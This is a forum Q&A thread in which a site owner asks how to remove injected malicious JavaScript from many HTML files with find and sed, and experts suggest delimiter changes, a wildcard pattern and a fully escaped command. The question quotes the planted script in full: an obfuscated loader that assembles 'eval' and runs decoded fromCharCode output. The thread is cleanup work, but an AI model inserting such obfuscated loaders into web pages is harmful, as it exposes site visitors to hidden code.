sed regex escaping problem

bdhtechnology
bdhtechnology used Ask the Experts™
on
I am trying to remove some malicious code from a number of files on a web site.  The user account was compromised and the attacker inserted this code:

<!--91e324--><script> {f=[' '][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;579!=i;i+=1){j=i;s+=r["fromC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);</script><!--/91e324-->

Open in new window


I am try to run
find . -name "*.html" -print0 | xargs -0 sed -i 's/<!--91e324--><script> {f=[' '][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;579!=i;i+=1){j=i;s+=r["fromC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);<\/script><!--\/91e324-->/ /g'

Open in new window


But I keep getting the error:
sed: -e expression #1, char 115: unterminated `s' command

Open in new window


I have tried escaping everything that I can think of to get this to work but I have not had any luck.  I think it has something to do with the single quote but I can't get anything to work.  Any ideas on what I am missing?
Comment
Watch Question

Do more with

Expert Office
EXPERT OFFICE® is a registered trademark of EXPERTS EXCHANGE®
Most Valuable Expert 2013
Top Expert 2013

Commented:
Use a different character as the delimiter, one that doesn't appear in the search string,
possibly "#":

sed 's#oldstring#newstring#'

Author

Commented:
I had tried that already as well:
find . -name "*.html" -print0 | xargs -0 sed -i 's#<!--91e324--><script> {f=[' '][0].split('i');v="ev"+"al";}if(v)e=window[v];w=f;s=[];r=String;for(;579!=i;i+=1){j=i;s+=r["fromC"+"harCode"](40+1*w[j]);}if(f)z=s;e(z);</script><!--/91e324--># #g'
sed: -e expression #1, char 28: unterminated `s' command

Open in new window

You should escape a lot of characters.
Can't you just write something like below?

sed -i 's/<!--91e324--.*91e324-->/ /g'

Open in new window


If you really need to provide exact string, use below one.

sed -i "s/<\!--91e324--><script> {f=\[' '\]\[0\]\.split('i');v=\"ev\"+\"al\";}if(v)e=window\[v\];w=f;s=\[\];r=String;for(;579\!=i;i+=1){j=i;s+=r\[\"fromC\"+\"harCode\"\](40+1\*w\[j\]);}if(f)z=s;e(z);<\/script><\!--\/91e324-->/ /g"

Open in new window

Author

Commented:
That worked perfectly.  Simpler is always better I suppose!

Do more with

Expert Office
Submit tech questions to Ask the Experts™ at any time to receive solutions, advice, and new ideas from leading industry professionals.

Start 7-Day Free Trial